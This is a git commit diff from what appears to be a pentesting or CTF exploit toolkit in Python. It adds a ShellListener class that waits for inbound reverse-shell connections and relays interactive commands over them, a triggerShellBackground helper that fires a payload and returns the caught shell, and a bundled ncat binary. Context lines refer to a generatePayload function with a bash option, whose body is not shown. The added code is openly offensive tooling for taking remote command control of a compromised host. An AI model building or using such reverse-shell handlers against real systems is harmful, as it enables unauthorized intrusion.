Added ncat + background shell listener
This commit is contained in:
parent
718aaa6f6c
commit
3ea1cba7ca
@ -9,6 +9,65 @@ import threading
|
|||||||
import readline
|
import readline
|
||||||
import base64
|
import base64
|
||||||
|
|
||||||
|
class ShellListener:
|
||||||
|
|
||||||
|
def __init__(self, addr, port):
|
||||||
|
self.listen_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
self.bind_addr = addr
|
||||||
|
self.port = port
|
||||||
|
self.on_message = None
|
||||||
|
self.listen_thread = None
|
||||||
|
self.connection = None
|
||||||
|
|
||||||
|
def startBackground(self):
|
||||||
|
self.listen_thread = threading.Thread(target=self.start)
|
||||||
|
self.listen_thread.start()
|
||||||
|
return self.listen_thread
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
self.running = True
|
||||||
|
self.listen_socket.bind((self.bind_addr, self.port))
|
||||||
|
self.listen_socket.listen()
|
||||||
|
while self.running:
|
||||||
|
self.connection, addr = self.listen_socket.accept()
|
||||||
|
with self.connection:
|
||||||
|
print("[+] Got connection:", addr)
|
||||||
|
while self.running:
|
||||||
|
data = self.connection.recv(1024)
|
||||||
|
if not data:
|
||||||
|
break
|
||||||
|
if self.on_message:
|
||||||
|
self.on_message(data)
|
||||||
|
|
||||||
|
print("[-] Disconnected")
|
||||||
|
self.connection = None
|
||||||
|
|
||||||
|
def close(self):
|
||||||
|
self.running = False
|
||||||
|
self.sendline("exit")
|
||||||
|
self.listen_socket.close()
|
||||||
|
|
||||||
|
def send(self, data):
|
||||||
|
if self.connection:
|
||||||
|
if isinstance(data, str):
|
||||||
|
data = data.encode()
|
||||||
|
self.connection.sendall(data)
|
||||||
|
|
||||||
|
def sendline(self, data):
|
||||||
|
if isinstance(data, str):
|
||||||
|
data = data.encode()
|
||||||
|
data += b"\n"
|
||||||
|
return self.send(data)
|
||||||
|
|
||||||
|
def print_message(self, data):
|
||||||
|
sys.stdout.write(data.decode())
|
||||||
|
sys.stdout.flush()
|
||||||
|
|
||||||
|
def interactive(self):
|
||||||
|
self.on_message = lambda x: self.print_message(x)
|
||||||
|
while self.running and self.connection is not None:
|
||||||
|
self.sendline(input())
|
||||||
|
|
||||||
def generatePayload(type, local_address, port):
|
def generatePayload(type, local_address, port):
|
||||||
|
|
||||||
if type == "bash":
|
if type == "bash":
|
||||||
@ -47,6 +106,13 @@ def triggerShell(func, port):
|
|||||||
threading.Thread(target=_wait_and_exec).start()
|
threading.Thread(target=_wait_and_exec).start()
|
||||||
spawn_listener(port)
|
spawn_listener(port)
|
||||||
|
|
||||||
|
def triggerShellBackground(func, port):
|
||||||
|
listener = ShellListener("0.0.0.0", port)
|
||||||
|
listener.startBackground()
|
||||||
|
threading.Thread(target=func).start()
|
||||||
|
while listener.connection is None:
|
||||||
|
time.sleep(0.5)
|
||||||
|
return listener
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
|
|
||||||
|
BIN
ncat
Executable file
BIN
ncat
Executable file
Binary file not shown.
Loading…
Reference in New Issue
Block a user